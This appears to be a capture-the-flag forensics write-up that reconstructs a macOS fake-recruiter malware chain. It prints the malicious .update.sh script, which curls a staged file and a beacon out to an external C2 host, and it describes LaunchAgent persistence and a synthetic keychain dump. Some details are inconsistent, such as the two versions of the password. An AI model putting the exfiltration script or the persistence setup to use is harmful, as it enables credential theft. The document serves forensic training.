Post cover image
cuz it needsss

September 20, 2026

The-Silent-Recruiter-Artefacts-Forensics

Following is the writeup of a really fascinating forensics challenge from the Sentinal Sprime Capture The Flag. I am pretty sure you will…

By Professor Badman

13 min read

Following is the writeup of a really fascinating forensics challenge from the Sentinal Sprime Capture The Flag. I am pretty sure you will learn a lot from it , so grab a coffee and dive into the exciting forensics artifacts!

Forensics

Part-1

The Silent Recruiter: Initial Contact

Without waiting any further lets dive into it!

None

The scenario we got:-

A developer applied for a job, received what appeared to be a legitimate coding assessment from a recruiter, downloaded an application, and shortly afterward the macOS system began behaving strangely.

We are provided with an evidence which is an Access Data AD1 forensic image containing a macOS file system.

The objective was to reconstruct the entire attack chain , from the download through execution, persistence,command and control and data exfiltration by an attacker.

The sequence of the entire attack is :-

Initial Access
      ↓
Execution
      ↓
Persistence
      ↓
C2
      ↓
Credential Access
      ↓
Exfiltration

We are provided with a zip -

The Silent Recruiter.zip

which on extraction gives

The Silent Recruiter.ad1

This is an Access-Data-AD1 segmented forensic image.

As this is a .ad1 file we cannot get a useful filesystem view when trying to open it directly with archive utilities, we can use tools like Autospy,FTK Imager or ad1-viewer.

FTK-Imager supports only windows,Autospy uses cross-platform, and ad1-viewer is a tool on github that supports browsing and opening AccessData Ad1 logical images directly into a web browser without needing FTK Imager or Windows.

It also has a really nice cross platform functionality that works natively across Mac,Linux and Windows.

I will use ad1-viewer project to parse the image and navigate the filesystem.

None

[ Q1. ] What is the name of the developer?

First gonna start by verifying the file type

file "The Silent Recruiter.ad1"

It was simply reported up as data

The Silent Recruiter.ad1: data

On inspecting it header we get

AD-SEGEMENTED-File

Using AD1-Viewer to parse the image and navigate the file system.

The viewer provided a tree representation of the evidence, and making it possible to locate up the macOS users, application files,browser artifacts,persistence files, databases and other forensic evidence up out there.

The command i used to generate a searchable filesystem tree

python3 walk.py "../The Silent Recruiter.ad1" 2>/dev/null > tree.txt

and to host it as webserver

python3 -m server.app "../The Silent Recruiter.ad1" --port 8001

browsing to the

http://127.0.0.1:8001

we get

None

This produced a very large file containing the file system hierarchy.

This is extremely useful because we could now search up the entire image without manually clicking up through lots of files.

The AD1 viewer also allowed individual files to be exported from the image for further analysis.

The first major lead was the macOS user structure.

Under the

/Users/

I found

dev_user
fade
nothing
Shared
None

The account that contain the relevant developer artifacts is

/Users/dev_user

THis account had a normal developer style environment

.gitconfig
.gitconfig
Projects/
Scripts/
Documents/
Downloads/
.ssh/
.zsh_sessions/

The downloads directory was particularly interesting because it contained a large number of legitimate dev tools out there like

AWSCLIV2.pkg
burpsuite_community.dmg
Docker.dmg
Figma.dmg
Firefox.dmg
flask-3.0.0.tar.gz
GitHubDesktop-arm64.zip
GoogleChrome.dmg
iTerm2-3_5_0.zip
jetbrains-toolbox...
node-v20.11.0.pkg
python-3.12.2-macos11.pkg
VSCode-darwin-universal.zip
Wireshark.dmg
None

INitially the most obvious clue was

Alex_Morgan_Resume.pdf

inside the

/Users/dev_user/Downloads

However, a good forensic investigation doesnot just stop at file name.

The most reliable attribution came out up from the dev git config

/Users/dev_user/.gitconfig
None

Its contents were

[user]
 name = Alex Morgan
 email = alex.morgan@devworks.io
[core]
 editor = vim
[init]
 defaultBranch = main

This was a much stronger evidence because .gitconfig is a dev config file containing the identity normally used up out there for the GIt commands.

So we got the dev user name which is

Alex Morgan

which is the answer to question number 1 of the forensic investigator

[ Q1. ] What is the name of the developer?

investigator@SPCTF:~$ Alex Morgan
[+] Correct.
None

[ Q2. ] What is the email id of the developer?

The same artifact of .gitconfig gave us the answer to the second question

/Users/dev_user/.gitconfig

contained:

email = alex.morgan@devworks.io

Therefore,

Alex Morgan
alex.morgan@devworks.io

THis was a better source than the resume because the exported Alex_Morgan_Resume.pdf appeared to contain unusable/zero-filled data out in there.

Answering out the second question

[ Q2. ] What is the email id of the developer?

investigator@SPCTF:~$ alex.morgan@devworks.io
[+] Correct.
None

[ Q3. ] What is the name of the file downloaded for the challenge?

Once we had found out the victim account , the next logical place to look forward in our investigation was DOwnloads directory to look what did the victim downloaded which resulted into the infection.

on

/Users/dev_users/Downloads

contained

None

The interesting artifact up here is the

CodingChallenge.app.zip`

This over here immediately stood out becz the challenge description explicitly stated out there that dev downloaded a coding challenge

Artifact was in

/Users/dev_user/Downloads/CodingChallenge.app.zip

Withthat, we managed to solve the question 3 as well of the investigator

[ Q3. ] What is the name of the file downloaded for the challenge?

investigator@SPCTF:~$ CodingChallenge.app.zip
[+] Correct.
None

[ Q4. ] What is the complete URL from where the challenge was downloaded?

We exported up the zip and tried examining the application itself

Its structure was

CodingChallenge.app/
└── Contents/
    ├── Info.plist
    └── MacOS/
        └── CodingChallenge

The metadeta the app contained up

CFBundleName       CodingChallenge
CFBundleIdentifier com.techrecruit.challenge
CFBundleExecutable CodingChallenge
CFBundleVersion    1.2.3
CFBundlePackageType APPL

At first loook this looked like a normal app out there but examining out the executable exposed up a major red flag

None

on Running

file CodingChallenge

it identified it as

Bourne-Again shell script

having contents

#!/bin/bash
echo "Coding Challenge"
echo "analytics bootstrap..."
echo "com.apple.telemetry"
echo "telemetry module active"
exit 0

THis is really important for understanding up the lure out there.

THe program was really small and did not resemble a genuine coding assessment app, it instead behaved like a decoy out there.

The string

com.apple.telemetry

later became relevant when investigating the persistence technique the attacker used.

It became the most strongest links out b/w apparently harmless app and malicious persistence mechanism that was being used.

Now we gonna investigate whether the app was actually executed up cuz the malicious looking file does not prove that it was executed .

For the evidence of execution we investigated macOS activity data, particularly the Apple's

knowlegeC.db

and its assoicated WAL /SHM files out there.

The knowlegeC database belongs to Apple activity tracking and can contain app usage events.

The database and its WAL contained up an entry out there for

com.apple.telemetry

with

Stream:        /app/usage
Bundle ID:     com.techrecruit.challenge
Start time:    2026-04-11 07:15:02 UTC
End time:      2026-04-11 07:15:03 UTC
Duration:      1 second
Confidence:    1.0

NOw we got the direct system evidence that app associated with

com.techrecruit.challenge

was executed having the execution time

2026-04-11 07:15:02 UTC

We cooking up fam!!!

None

We also found out a crash report at

/Users/dev_user/Library/Logs/DiagnosticReports/
CodingChallenge_2025-03-14-091504_dev-mac.crash

which contained

Process:         CodingChallenge [2847]
Path:            /Users/dev_user/Downloads/CodingChallenge.app/Contents/MacOS/CodingChallenge
Identifier:      com.devtools.codingchallenge
Version:         1.0
OS Version:      macOS 15.2

IT also stated up that

Process spawned child PID 2901 (/bin/bash)

This is interesting becz the extracted app meta deta showed up that

com.techrecruit.challenge
Version 1.2.3

while the crash report out there showed up that

com.devtools.codingchallenge
Version 1.0

This means this ain't got same build up

so we the conclusion is

The image contains evidence of a CodingChallenge execution whose on-disk crash metadata does not perfectly match the extracted ZIP bundle identity and version.

The imp thing was that crash report confirmed up that the Coding CHallenge process spawned up

/bin/bash
None

At this stage we have

Victim:       dev_user
Developer:    Alex Morgan
Challenge:    CodingChallenge.app.zip

NOw the question is from where on the earth did the chlng come from?

The filesystem contained some Safari artifacts for more than one user

Found out two Downloads.plist files

None

so one was for user fade while other was for user dev_user

we were investigating the victim which is the dev, so we will look at

/Users/dev_user/Library/Safari/Downloads.plist

and Downloads.plist because the safari records info about downloaded files, including up the download metadata and source info in this file

Therefore once we found out

CodingChallenge.app.zip

safari download history was a natural forensic answer for answering up

where did the file come from?

the 21st entry of this download.plist was holding up the relevant record up of the coding challenge.zip

None 
https://careers.techrecruit.io/challenge/download?id=4471&token=8f3a2b91c4d7e605

with that we got answer to question no 4 as well and now we submit it

[ Q4. ] What is the complete URL from where the challenge was downloaded?

investigator@SPCTF:~$ https://careers.techrecruit.io/challenge/download?id=4471&token=8f3a2b91c4d7e605
[+] Correct.

We finished our part 1 of forensics investigation with that

┌────────────────────────────────────────────────────────────────────┐
│                          PART 1 COMPLETE                           │
├────────────────────────────────────────────────────────────────────┤
│ Outstanding work, Investigator. The initial access phase has been  │
│ reconstructed.                                                     │
│                                                                    │
│ FLAG: SPCTF{Redacted}             │
└────────────────────────────────────────────────────────────────────┘
None

Part-2

The Silent Recruiter: Hidden Persistence

[ Q5. ] What is the domain from where it downloads the challenge?

The answer to this question is also in the 21st entry of the artifact

https://careers.techrecruit.io/challenge/download?id=4471&token=8f3a2b91c4d7e605

the domain

careers.techrecruit.io

this is really nice social engineering domain cuz it was designed to look like a legitimate career service.

The most cool correlation is the token

the original download contained

8f3a2b91c4d7e605

later the malicious script generated a c2 beacon containing

token=8f3a2b91c4d7e605

or specifically

http://185.220.101.47:8000/ping?token=8f3a2b91c4d7e605&src=kc_dump

so the same unique token appeared in both

Initial download
      ↓
8f3a2b91c4d7e605
      ↓
C2 beacon
None

Before moving further lets first answer up this question number 5

[ Q5. ] What is the domain from where it downloads the challenge?

investigator@SPCTF:~$ careers.techrecruit.io
[+] Correct.

[ Q6. ] When did the user access/open the challenge? (YYYY-MM-DD HH:MM:SS)

we found out this in the meta deta so just gonna submit it and will move on the further investigation

[ Q6. ] When did the user access/open the challenge? (YYYY-MM-DD HH:MM:SS)

investigator@SPCTF:~$ 2026-04-11 07:15:02
[+] Correct.

[ Q7. ] Which persistence technique was used?

After establishing the execution the next question that should come up in our mind should be

How did the malicious code survive beyond the initial execution?
None

The file system contained up

/Users/dev_user/Library/LaunchAgents/

Inside it was

com.apple.telemetry.plist

This needs to be investigated

None

so apparently on macOS, user Launch Agents are a well known persistence mechanism.

MITRE ATT&CK maps this behavior up to

T1543.001 — Create or Modify System Process: Launch Agent.

MITRE specifically notes that LaunchAgents are associated with .plist files in locations such as:

~/Library/LaunchAgents

and that fields such as:

Label
ProgramArguments
RunAtLoad
KeepAlive

are used up to define the behavior.

THis answers up the question number 7 to be

[ Q7. ] Which persistence technique was used?

investigator@SPCTF:~$ Launchagents
[+] Correct.

[ Q8. ] What is the name of the binary used for persistence?

on examining up the

com.apple.telemetry.plist

the plist was binary proper list file beginning with

bplist00

and up after parsing up thecontents the imp fields were

KeepAlive
RunAtLoad
ProgramArguments
/bin/bash
-c
~/.cache/.npm_modules/.update.sh 2>/dev/null
StandardOutPath
/tmp/.telemetry.err
StandardErrorPath
/tmp/.telemetry.err
Label
com.apple.telemetry

giving up a very clear picture

The launch agent was effectively telling up macOS

At user login / agent activation
        ↓
launch /bin/bash
        ↓
execute ~/.cache/.npm_modules/.update.sh
        ↓
run repeatedly/keep alive

The name was also suspicious

com.apple.telemetry
None

it It masqueraded as an Apple-looking component.

MITRE specifically notes that adversaries may disguise LaunchAgent names as operating-system or legitimate software names

A technical clarification is useful here: the .plist is the LaunchAgent persistence configuration, not literally a binary. The actual executable launched by the plist was:

/bin/bash

why is it imp though?

earlier when we examined up downloaded app we saw

echo "com.apple.telemetry"

later we found launchagent called up

com.apple.telemetry.plist

so the relationship is

CodingChallenge executable
        │
        └── contains "com.apple.telemetry"
                         │
                         ↓
             LaunchAgent artifact
             com.apple.telemetry.plist

The application therefore appears to have deliberately introduced an Apple-like telemetry concept, which was later represented as a persistence component.

It is not enough by itself to prove the exact creation command, but the naming correlation is highly relevant.

some imp fileds in launch agent up was

ProgramArguments
/bin/bash
-c
~/.cache/.npm_modules/.update.sh 2>/dev/null

This pointed up to

/Users/dev_user/.cache/.npm_modules/.update.sh
None

so the answer is

[ Q8. ] What is the name of the binary used for persistence?
investigator@SPCTF:~$ com.apple.telemetry.plist
[+] Correct.

Q9. ] What script did the binary run? (complete path)

so the path was

~/.cache/.npm_modules/.update.sh

this was hidden up cuz it was in cache

.cache/
└── .npm_modules/
    └── .update.sh

THe update.sh > script was only 724 bytes up but it contained up the complete c2 behaviour having contents up

!/bin/bash

STAGED="$HOME/Library/Caches/.hidden_store/.pkg_manifest"
LOG="/tmp/.curl_log"

echo "[INFO] using cache layer..."
echo "[INFO] staging payload..."
echo "[INFO] reading staged payload from $STAGED"

echo "$(date -u +%FT%TZ) READ $STAGED" >> "$LOG"

echo "$(date -u +%FT%TZ) curl -X POST http://185.220.101.47:8000/upload --data-binary @$STAGED" >> "$LOG"

curl -X POST "http://185.220.101.47:8000/upload" \
     --data-binary @"$STAGED" 2>/dev/null

echo "$(date -u +%FT%TZ) curl http://185.220.101.47:8000/ping?token=8f3a2b91c4d7e605&src=kc_dump" >> "$LOG"

curl "http://185.220.101.47:8000/ping?token=8f3a2b91c4d7e605&src=kc_dump" 2>/dev/null

THis script is master piece cuz its gonna complete the later stages of attack chain

None

so the script the binary run is

[ Q9. ] What script did the binary run? (complete path)

investigator@SPCTF:~$ ~/.cache/.npm_modules/.update.sh
[+] Correct.

and with that we completed the part 2 as well of our forensics

┌────────────────────────────────────────────────────────────────────┐
│                          PART 2 COMPLETE                           │
├────────────────────────────────────────────────────────────────────┤
│ Outstanding work, Investigator. Execution and persistence have     │
│ been reconstructed.                                                │
│                                                                    │
│ FLAG: SPCTF{REDACTED}                │
└────────────────────────────────────────────────────────────────────┘
None

Part-3

The Silent Recruiter: Final Conneciton

[ Q10. ] What is the file name in which the staged payload is saved?

so now we need to find the staged payload file

the first line was of script

STAGED="$HOME/Library/Caches/.hidden_store/.pkg_manifest"

Therefore the staged file is

/Users/dev_user/Library/Caches/.hidden_store/.pkg_manifest

while the filename itself was

.pkg_manifest

The location also demonstrates local data staging.

MITRE ATT&CK maps this behavior to:

T1074.001 — Data Staged: Local Data Staging, which covers keeping collected information in a local file or location before exfiltration.

Lets ans up the q 10

[ Q10. ] What is the file name in which the staged payload is saved?

investigator@SPCTF:~$ .pkg_manifest
[+] Correct.

Q11. ] What is the staged payload used?

lets examine up the staged payload

the file contained up

 dGVRVVQAISJRWlRWX1VEX1N1bHZiX3JlYWR5

which was base64 encoded which on decoding produces

teqUT!"QZTV_UD_Sulvb_ready

that answers q 11 as well brommmmmmmmmsss

[ Q11. ] What is the staged payload used?

investigator@SPCTF:~$ dGVRVVQAISJRWlRWX1VEX1N1bHZiX3JlYWR5
[+] Correct.

[ Q12. ] What is the C2 IP used for exfiltration?

The script explicitiy communicated up with

185.220.101.47:8000

The upload endpoint was

http://185.220.101.47:8000/upload

The beacon endpoint was

http://185.220.101.47:8000/ping

The use of HTTP for command-and-control maps to:

T1071.001 — Application Layer Protocol: Web Protocols.

MITRE describes this technique as using HTTP/HTTPS and related web protocols for communication with attacker-controlled infrastructure.

Therefore, the ans is


[ Q12. ] What is the C2 IP used for exfiltration?

investigator@SPCTF:~$ 185.220.101.47
[+] Correct.

[ Q13. ] What is the file which was dumped for exfiltration?

None

At this point we had identified the C2 and persistence, but the challenge specifically stated that credentials were stolen.

The file system had

/tmp/kc_dump

its contents resembled a keychain dump

the artifact referenced

/Users/demo/Library/Keychains/login.keychain-db

and contained entires such as

acct = demo_user
data = fakeP@ssw0rd!123
acct = admin_test
data = Sup3rS3cur3ButFake!
acct = john.doe
data = emailPass!456

and

acct = dev_user
svce = dev.internal
labl = Developer Account
data = DevUser2024

The file itself contained a note saying the data was synthetic and intended for demonstration.

Nevertheless, within the challenge's logic, this artifact was clearly representing the collection of macOS Keychain credentials.

MITRE ATT&CK maps acquisition of credentials from macOS Keychain to:

T1555.001 — Credentials from Password Stores: Keychain.

MITRE specifically identifies macOS Keychain as a credential store containing account names, passwords, private keys, certificates and other sensitive data.

we found the forensic artifact tobe kc_dump but challenge didn't ask up

What was the dump output file called?

It asked:

What is the file which was dumped for exfiltration?

so the ans is

[ Q13. ] What is the file which was dumped for exfiltration?

investigator@SPCTF:~$ login.keychain-db
[+] Correct.

[ Q14. ] What is the password of the system used by the developer?

None

the

login.keychain-db

aligns up with the c2 script beacon parameter

src=kc_dump

which associated the later c2 activing

the relationship can be represented up likeee

login.keychain-db
       ↓
Keychain credential collection
       ↓
kc_dump
       ↓
staging/exfiltration workflow
       ↓
.pkg_manifest / upload
       ↓
185.220.101.47

this exact content gen cmnd created up .pkg_manifest from keychain dump which is not visible in .update.sh script itself up so the part should be regarded up as a reconstructed relationship

whereas abt ans the final q

the key chain syle dump contained several creds

one entry was

acct = dev_user
svce = dev.internal
labl = Developer Account
data = DevUser2024!

the developers user identity was

dev_user

therefore, the cred associated with dev acc is

DevUser2024!

with that we will answer up the final question to the forensic investigator

[ Q14. ] What is the password of the system used by the developer?

investigator@SPCTF:~$ DevUser2024!
[+] Correct.

N'D ITS OVER!!!

┌────────────────────────────────────────────────────────────────────┐
│                       INVESTIGATION COMPLETE                       │
├────────────────────────────────────────────────────────────────────┤
│ Outstanding work, Investigator. The complete Silent Recruiter      │
│ attack chain has been confirmed.                                   │
│                                                                    │
│ FLAG: SPCTF{REDACTED}           │
└────────────────────────────────────────────────────────────────────┘
None

Attack Chain

                    FAKE RECRUITER
                          │
                          │
                          ▼
       careers.techrecruit.io/challenge/download
                          │
                          │ token=8f3a2b91c4d7e605
                          ▼
              CodingChallenge.app.zip
                          │
                          │
                          ▼
              CodingChallenge.app
                          │
                          │
             ┌────────────┴────────────┐
             │                         │
             ▼                         ▼
   knowledgeC activity          Crash/process evidence
   com.techrecruit.challenge   CodingChallenge → /bin/bash
             │                         │
             └────────────┬────────────┘
                          ▼
                   Shell execution
                    /bin/bash
                          │
                          ▼
       ~/Library/LaunchAgents/
          com.apple.telemetry.plist
                          │
                          │ RunAtLoad / KeepAlive
                          ▼
                     /bin/bash -c
                          │
                          ▼
       ~/.cache/.npm_modules/.update.sh
                          │
             ┌────────────┴─────────────┐
             │                          │
             ▼                          ▼
   ~/Library/Caches/             185.220.101.47:8000
     .hidden_store/                    │
     .pkg_manifest                     │
             │                          │
             │                          ├── /upload
             │                          │
             │                          └── /ping
             │
             ▼
       staged data
             │
             ▼
       Keychain material
             │
             ▼
       login.keychain-db
             │
             ▼
          kc_dump
             │
             ▼
       Developer credential
         DevUser2024!

Thanks for reading!!!!!!!!